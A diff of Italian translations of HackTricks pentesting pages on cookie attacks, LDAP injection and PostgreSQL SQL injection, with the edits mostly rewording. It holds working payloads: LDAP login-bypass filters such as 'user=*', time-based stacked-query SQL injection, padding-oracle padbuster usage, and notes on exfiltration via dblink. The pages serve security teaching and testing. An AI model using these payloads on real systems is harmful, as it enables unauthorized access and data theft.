|
||||||
<figure><img src="../../.gitbook/assets/image (7).png" alt="" width="373"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Attacchi ai Cookies
|
## Attacchi ai Cookie
|
||||||
|
|
||||||
Se un cookie personalizzato contiene dati sensibili, controllalo (specialmente se stai partecipando a un CTF), poiché potrebbe essere vulnerabile.
|
Se un cookie personalizzato contiene dati sensibili, controllalo (specialmente se stai partecipando a un CTF), poiché potrebbe essere vulnerabile.
|
||||||
|
|
||||||
### Decodifica e Manipolazione dei Cookies
|
### Decodifica e Manipolazione dei Cookie
|
||||||
|
|
||||||
I dati sensibili incorporati nei cookies dovrebbero sempre essere esaminati attentamente. I cookies codificati in Base64 o formati simili possono spesso essere decodificati. Questa vulnerabilità consente agli attaccanti di modificare il contenuto del cookie e impersonare altri utenti codificando i loro dati modificati all'interno del cookie.
|
I dati sensibili incorporati nei cookie dovrebbero sempre essere esaminati attentamente. I cookie codificati in Base64 o formati simili possono spesso essere decodificati. Questa vulnerabilità consente agli attaccanti di modificare il contenuto del cookie e di impersonare altri utenti codificando i loro dati modificati all'interno del cookie.
|
||||||
|
|
||||||
### Dirottamento di Sessione
|
### Dirottamento di Sessione
|
||||||
|
|
||||||
Questo attacco comporta il furto del cookie di un utente per ottenere l'accesso non autorizzato al loro account all'interno di un'applicazione. Utilizzando il cookie rubato, un attaccante può impersonare l'utente legittimo.
|
Questo attacco comporta il furto del cookie di un utente per ottenere l'accesso non autorizzato al proprio account all'interno di un'applicazione. Utilizzando il cookie rubato, un attaccante può impersonare l'utente legittimo.
|
||||||
|
|
||||||
### Fissazione di Sessione
|
### Fissazione di Sessione
|
||||||
|
|
||||||
|
@ -148,19 +148,19 @@ Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, le
|
||||||
[cookie-tossing.md](cookie-tossing.md)
|
[cookie-tossing.md](cookie-tossing.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
|
### [Cookie JWT](../hacking-jwt-json-web-tokens.md)
|
||||||
|
|
||||||
Clicca sul link precedente per accedere a una pagina che spiega possibili difetti nei JWT.
|
Clicca sul link precedente per accedere a una pagina che spiega possibili difetti nei JWT.
|
||||||
|
|
||||||
I JSON Web Tokens (JWT) utilizzati nei cookies possono presentare vulnerabilità. Per informazioni dettagliate su possibili difetti e su come sfruttarli, si consiglia di accedere al documento collegato sull'hacking dei JWT.
|
I JSON Web Tokens (JWT) utilizzati nei cookie possono presentare vulnerabilità. Per informazioni dettagliate su potenziali difetti e su come sfruttarli, è consigliabile accedere al documento collegato sull'hacking dei JWT.
|
||||||
|
|
||||||
### Forgery delle Richieste tra Siti (CSRF)
|
### Forgery di Richieste Cross-Site (CSRF)
|
||||||
|
|
||||||
Questo attacco costringe un utente autenticato a eseguire azioni indesiderate su un'applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookies che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.
|
Questo attacco costringe un utente autenticato a eseguire azioni indesiderate su un'applicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.
|
||||||
|
|
||||||
### Cookies Vuoti
|
### Cookie Vuoti
|
||||||
|
|
||||||
(Consulta ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) I browser permettono la creazione di cookies senza un nome, che può essere dimostrato tramite JavaScript come segue:
|
(Consulta ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) I browser consentono la creazione di cookie senza nome, che possono essere dimostrati tramite JavaScript come segue:
|
||||||
```js
|
```js
|
||||||
document.cookie = "a=v1"
|
document.cookie = "a=v1"
|
||||||
document.cookie = "=test value;" // Setting an empty named cookie
|
document.cookie = "=test value;" // Setting an empty named cookie
|
||||||
|
@ -176,7 +176,7 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
||||||
```
|
```
|
||||||
Questo porta il browser a inviare un'intestazione del cookie interpretata da ogni server web come un cookie chiamato `a` con un valore `b`.
|
Questo porta il browser a inviare un'intestazione del cookie interpretata da ogni server web come un cookie chiamato `a` con un valore `b`.
|
||||||
|
|
||||||
#### Bug di Chrome: Problema dei Punti di Codice Surrogati Unicode
|
#### Bug di Chrome: Problema del Punto di Codice Surrogato Unicode
|
||||||
|
|
||||||
In Chrome, se un punto di codice surrogato Unicode fa parte di un cookie impostato, `document.cookie` diventa corrotto, restituendo successivamente una stringa vuota:
|
In Chrome, se un punto di codice surrogato Unicode fa parte di un cookie impostato, `document.cookie` diventa corrotto, restituendo successivamente una stringa vuota:
|
||||||
```js
|
```js
|
||||||
|
@ -186,17 +186,17 @@ Questo comporta che `document.cookie` restituisca una stringa vuota, indicando u
|
||||||
|
|
||||||
#### Traffico di Cookie a Causa di Problemi di Parsing
|
#### Traffico di Cookie a Causa di Problemi di Parsing
|
||||||
|
|
||||||
(Controlla ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) Diversi server web, inclusi quelli in Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe dei cookie a causa del supporto obsoleto a RFC2965. Leggono un valore del cookie tra virgolette doppie come un singolo valore anche se include punti e virgola, che normalmente dovrebbero separare le coppie chiave-valore:
|
(Controlla ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) Diversi server web, tra cui quelli in Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe dei cookie a causa del supporto obsoleto RFC2965. Leggono un valore del cookie tra virgolette doppie come un singolo valore anche se include punti e virgola, che normalmente dovrebbero separare le coppie chiave-valore:
|
||||||
```
|
```
|
||||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||||
```
|
```
|
||||||
#### Vulnerabilità di Iniezione di Cookie
|
#### Vulnerabilità di Iniezione di Cookie
|
||||||
|
|
||||||
(Controlla ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) L'errata interpretazione dei cookie da parte dei server, in particolare Undertow, Zope e quelli che utilizzano `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` di Python, crea opportunità per attacchi di iniezione di cookie. Questi server non delimitano correttamente l'inizio di nuovi cookie, consentendo agli attaccanti di falsificare i cookie:
|
(Verifica ulteriori dettagli nella [ricerca originale](https://blog.ankursundara.com/cookie-bugs/)) L'errata interpretazione dei cookie da parte dei server, in particolare Undertow, Zope e quelli che utilizzano `http.cookie.SimpleCookie` e `http.cookie.BaseCookie` di Python, crea opportunità per attacchi di iniezione di cookie. Questi server non delimitano correttamente l'inizio di nuovi cookie, consentendo agli attaccanti di falsificare i cookie:
|
||||||
|
|
||||||
- Undertow si aspetta un nuovo cookie immediatamente dopo un valore quotato senza punto e virgola.
|
* Undertow si aspetta un nuovo cookie immediatamente dopo un valore quotato senza punto e virgola.
|
||||||
- Zope cerca una virgola per iniziare l'analisi del cookie successivo.
|
* Zope cerca una virgola per iniziare l'analisi del cookie successivo.
|
||||||
- Le classi dei cookie di Python iniziano l'analisi su un carattere di spazio.
|
* Le classi dei cookie di Python iniziano l'analisi su un carattere di spazio.
|
||||||
|
|
||||||
Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF basata su cookie, poiché consente agli attaccanti di iniettare cookie falsificati del token CSRF, bypassando potenzialmente le misure di sicurezza. Il problema è aggravato dal modo in cui Python gestisce i nomi dei cookie duplicati, dove l'ultima occorrenza sovrascrive quelle precedenti. Solleva anche preoccupazioni per i cookie `__Secure-` e `__Host-` in contesti non sicuri e potrebbe portare a bypass dell'autorizzazione quando i cookie vengono passati a server back-end suscettibili di falsificazione.
|
Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF basata su cookie, poiché consente agli attaccanti di iniettare cookie falsificati del token CSRF, bypassando potenzialmente le misure di sicurezza. Il problema è aggravato dal modo in cui Python gestisce i nomi dei cookie duplicati, dove l'ultima occorrenza sovrascrive quelle precedenti. Solleva anche preoccupazioni per i cookie `__Secure-` e `__Host-` in contesti non sicuri e potrebbe portare a bypass dell'autorizzazione quando i cookie vengono passati a server back-end suscettibili di falsificazione.
|
||||||
|
|
||||||
|
@ -204,21 +204,21 @@ Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che s
|
||||||
|
|
||||||
#### **Controlli di base**
|
#### **Controlli di base**
|
||||||
|
|
||||||
- Il **cookie** è **sempre lo stesso** ogni volta che **effettui il login**.
|
* Il **cookie** è **sempre lo stesso** ogni volta che **effettui il login**.
|
||||||
- Esegui il logout e prova a utilizzare lo stesso cookie.
|
* Esegui il logout e prova a utilizzare lo stesso cookie.
|
||||||
- Prova a effettuare il login con 2 dispositivi (o browser) nello stesso account utilizzando lo stesso cookie.
|
* Prova a effettuare il login con 2 dispositivi (o browser) nello stesso account utilizzando lo stesso cookie.
|
||||||
- Controlla se il cookie contiene informazioni e prova a modificarlo.
|
* Verifica se il cookie contiene informazioni e prova a modificarlo.
|
||||||
- Prova a creare diversi account con username quasi identici e controlla se riesci a vedere somiglianze.
|
* Prova a creare diversi account con username quasi identici e controlla se riesci a vedere delle somiglianze.
|
||||||
- Controlla l'opzione "**ricordami**" se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, utilizza sempre il cookie di **ricordami** senza altri cookie.
|
* Controlla l'opzione "**ricordami**" se esiste per capire come funziona. Se esiste e potrebbe essere vulnerabile, utilizza sempre il cookie di **ricordami** senza altri cookie.
|
||||||
- Verifica se il cookie precedente funziona anche dopo aver cambiato la password.
|
* Verifica se il cookie precedente funziona anche dopo aver cambiato la password.
|
||||||
|
|
||||||
#### **Attacchi avanzati ai cookie**
|
#### **Attacchi avanzati ai cookie**
|
||||||
|
|
||||||
Se il cookie rimane lo stesso (o quasi) quando effettui il login, probabilmente significa che il cookie è correlato a qualche campo del tuo account (probabilmente l'username). Quindi puoi:
|
Se il cookie rimane lo stesso (o quasi) quando effettui il login, probabilmente significa che il cookie è correlato a qualche campo del tuo account (probabilmente l'username). Quindi puoi:
|
||||||
|
|
||||||
- Prova a creare molti **account** con username molto **simili** e cerca di **indovinare** come funziona l'algoritmo.
|
* Prova a creare molti **account** con username molto **simili** e cerca di **indovinare** come funziona l'algoritmo.
|
||||||
- Prova a **forzare l'username**. Se il cookie salva solo come metodo di autenticazione per il tuo username, puoi creare un account con username "**Bmin**" e **forzare** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
|
* Prova a **forzare l'username**. Se il cookie salva solo come metodo di autenticazione per il tuo username, puoi creare un account con username "**Bmin**" e **forzare** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**".
|
||||||
- Prova **Padding** **Oracle** (puoi decrittare il contenuto del cookie). Usa **padbuster**.
|
* Prova **Padding** **Oracle** (puoi decifrare il contenuto del cookie). Usa **padbuster**.
|
||||||
|
|
||||||
**Padding Oracle - Esempi di Padbuster**
|
**Padding Oracle - Esempi di Padbuster**
|
||||||
```bash
|
```bash
|
||||||
|
@ -242,7 +242,7 @@ Questo esecuzione ti darà il cookie correttamente criptato e codificato con la
|
||||||
|
|
||||||
**CBC-MAC**
|
**CBC-MAC**
|
||||||
|
|
||||||
Forse un cookie potrebbe avere un certo valore e potrebbe essere firmato usando CBC. Quindi, l'integrità del valore è la firma creata usando CBC con lo stesso valore. Poiché è consigliabile utilizzare un vettore IV nullo, questo tipo di controllo di integrità potrebbe essere vulnerabile.
|
Forse un cookie potrebbe avere un certo valore e potrebbe essere firmato usando CBC. Quindi, l'integrità del valore è la firma creata usando CBC con lo stesso valore. Poiché è consigliabile utilizzare un vettore IV nullo, questo tipo di controllo dell'integrità potrebbe essere vulnerabile.
|
||||||
|
|
||||||
**L'attacco**
|
**L'attacco**
|
||||||
|
|
||||||
|
@ -280,10 +280,10 @@ Dovrebbe esserci uno schema (con la dimensione di un blocco utilizzato). Quindi,
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@ Se sei interessato alla **carriera nell'hacking** e vuoi hackerare l'impossibile
|
||||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
**L'Iniezione LDAP** è un attacco mirato alle applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanificare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** attraverso un proxy locale, potenzialmente portando a un accesso non autorizzato o alla manipolazione dei dati.
|
**L'iniezione LDAP** è un attacco mirato alle applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanificare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** attraverso un proxy locale, potenzialmente portando a un accesso non autorizzato o alla manipolazione dei dati.
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
|
||||||
|
|
||||||
|
@ -56,7 +56,7 @@ Per esempio:\
|
||||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||||
`(&(objectClass=user)(uid=*))`
|
`(&(objectClass=user)(uid=*))`
|
||||||
|
|
||||||
È possibile accedere al database, che può contenere informazioni di molti tipi diversi.
|
Puoi accedere al database, che può contenere informazioni di molti tipi diversi.
|
||||||
|
|
||||||
**OpenLDAP**: Se arrivano 2 filtri, esegue solo il primo.\
|
**OpenLDAP**: Se arrivano 2 filtri, esegue solo il primo.\
|
||||||
**ADAM o Microsoft LDS**: Con 2 filtri restituiscono un errore.\
|
**ADAM o Microsoft LDS**: Con 2 filtri restituiscono un errore.\
|
||||||
|
@ -74,7 +74,7 @@ Quindi: `(&(objectClass=`**`*)(ObjectClass=*))`** sarà il primo filtro (quello
|
||||||
|
|
||||||
### Bypass del Login
|
### Bypass del Login
|
||||||
|
|
||||||
LDAP supporta diversi formati per memorizzare la password: chiaro, md5, smd5, sh1, sha, crypt. Quindi, potrebbe essere che indipendentemente da ciò che inserisci nella password, essa viene crittografata.
|
LDAP supporta diversi formati per memorizzare la password: chiaro, md5, smd5, sh1, sha, crypt. Quindi, potrebbe essere che indipendentemente da ciò che inserisci nella password, essa viene hashata.
|
||||||
```bash
|
```bash
|
||||||
user=*
|
user=*
|
||||||
password=*
|
password=*
|
||||||
|
@ -133,7 +133,7 @@ password=any
|
||||||
|
|
||||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||||
* [Attributi LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
* [Attributi LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
|
||||||
* [Attributi LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
* [Attributi PosixAccount LDAP](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
|
||||||
|
|
||||||
### Iniezione LDAP Blind
|
### Iniezione LDAP Blind
|
||||||
|
|
||||||
|
@ -164,7 +164,7 @@ Puoi iterare sui caratteri ascii, cifre e simboli:
|
||||||
```
|
```
|
||||||
### Script
|
### Script
|
||||||
|
|
||||||
#### **Scoprire i campi LDAP validi**
|
#### **Scoprire campi LDAP validi**
|
||||||
|
|
||||||
Gli oggetti LDAP **contengono per impostazione predefinita diversi attributi** che potrebbero essere utilizzati per **salvare informazioni**. Puoi provare a **forzare tutti loro per estrarre quelle informazioni**. Puoi trovare un elenco di [**attributi LDAP predefiniti qui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
Gli oggetti LDAP **contengono per impostazione predefinita diversi attributi** che potrebbero essere utilizzati per **salvare informazioni**. Puoi provare a **forzare tutti loro per estrarre quelle informazioni**. Puoi trovare un elenco di [**attributi LDAP predefiniti qui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||||
```python
|
```python
|
||||||
|
@ -223,9 +223,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca, scritta e parlata_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e a violare ciò che sembra inviolabile - **stiamo assumendo!** (_richiesta competenza nella lingua polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -239,6 +239,6 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -9,24 +9,24 @@ Altri modi per supportare HackTricks:
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
**Questa pagina mira a spiegare diversi trucchi che potrebbero aiutarti a sfruttare un'iniezione SQL trovata in un database postgresql e a integrare i trucchi che puoi trovare su** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
**Questa pagina mira a spiegare diversi trucchi che potrebbero aiutarti a sfruttare un'iniezione SQL trovata in un database postgresql e a completare i trucchi che puoi trovare su** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||||
|
|
||||||
## Interazione di rete - Escalation dei privilegi, Scanner di porte, divulgazione della risposta alla sfida NTLM ed Esfiltrazione
|
## Interazione di Rete - Escalation di Privilegi, Scanner di Porte, Divulgazione della risposta alla sfida NTLM & Esfiltrazione
|
||||||
|
|
||||||
Il modulo **PostgreSQL `dblink`** offre funzionalità per connettersi ad altri istanze di PostgreSQL ed eseguire connessioni TCP. Queste funzionalità, combinate con la funzionalità `COPY FROM`, consentono azioni come escalation dei privilegi, scansione delle porte e cattura della risposta alla sfida NTLM. Per metodi dettagliati su come eseguire questi attacchi controlla come [eseguire questi attacchi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
Il modulo **PostgreSQL `dblink`** offre capacità per connettersi ad altri istanze di PostgreSQL ed eseguire connessioni TCP. Queste funzionalità, combinate con la funzionalità `COPY FROM`, consentono azioni come escalation di privilegi, scansione delle porte e cattura della risposta alla sfida NTLM. Per metodi dettagliati su come eseguire questi attacchi controlla come [eseguire questi attacchi](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||||
|
|
||||||
### **Esempio di esfiltrazione usando dblink e oggetti grandi**
|
### **Esempio di esfiltrazione usando dblink e oggetti grandi**
|
||||||
|
|
||||||
|
@ -42,14 +42,14 @@ Controlla come compromettere l'host ed escalare i privilegi da PostgreSQL in:
|
||||||
|
|
||||||
## Bypass WAF
|
## Bypass WAF
|
||||||
|
|
||||||
### Funzioni di stringhe PostgreSQL
|
### Funzioni di Stringhe PostgreSQL
|
||||||
|
|
||||||
Manipolare le stringhe potrebbe aiutarti a **bypassare i WAF o altre restrizioni**.\
|
Manipolare le stringhe potrebbe aiutarti a **bypassare i WAF o altre restrizioni**.\
|
||||||
[**In questa pagina** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puoi trovare alcune utili funzioni di stringhe.**
|
[**In questa pagina** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puoi trovare alcune utili funzioni di stringhe.**
|
||||||
|
|
||||||
### Query sovrapposte
|
### Query Stacked
|
||||||
|
|
||||||
Ricorda che postgresql supporta le query sovrapposte, ma diverse applicazioni restituiranno un errore se vengono restituite 2 risposte quando ne viene attesa solo 1. Tuttavia, puoi comunque abusare delle query sovrapposte tramite l'iniezione di tempo:
|
Ricorda che postgresql supporta le query stacked, ma diverse applicazioni restituiranno un errore se vengono restituite 2 risposte quando ne aspettano solo 1. Tuttavia, puoi comunque abusare delle query stacked tramite l'iniezione di tempo:
|
||||||
```
|
```
|
||||||
id=1; select pg_sleep(10);-- -
|
id=1; select pg_sleep(10);-- -
|
||||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||||
|
@ -64,11 +64,11 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||||
```
|
```
|
||||||
**database\_to\_xml**
|
**database\_to\_xml**
|
||||||
|
|
||||||
Questa funzione scaricherà l'intero database in formato XML in soli 1 record (fai attenzione se il database è molto grande in quanto potresti DoSarlo o addirittura il tuo stesso client):
|
Questa funzione scaricherà l'intero database in formato XML in soli 1 record (fai attenzione se il database è molto grande in quanto potresti causare un DoS o addirittura al tuo stesso client):
|
||||||
```sql
|
```sql
|
||||||
SELECT database_to_xml(true,true,'');
|
SELECT database_to_xml(true,true,'');
|
||||||
```
|
```
|
||||||
### Stringhe in esadecimale
|
### Stringhe in Esadecimale
|
||||||
|
|
||||||
Se puoi eseguire **query** passandole **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi utilizzare `convert_from` per passare la stringa come esadecimale e bypassare i filtri in questo modo:**
|
Se puoi eseguire **query** passandole **all'interno di una stringa** (ad esempio utilizzando la funzione **`query_to_xml`**). **Puoi utilizzare `convert_from` per passare la stringa come esadecimale e bypassare i filtri in questo modo:**
|
||||||
```sql
|
```sql
|
||||||
|
@ -94,7 +94,7 @@ SELECT 'hacktricks';
|
||||||
SELECT $$hacktricks$$;
|
SELECT $$hacktricks$$;
|
||||||
SELECT $TAG$hacktricks$TAG$;
|
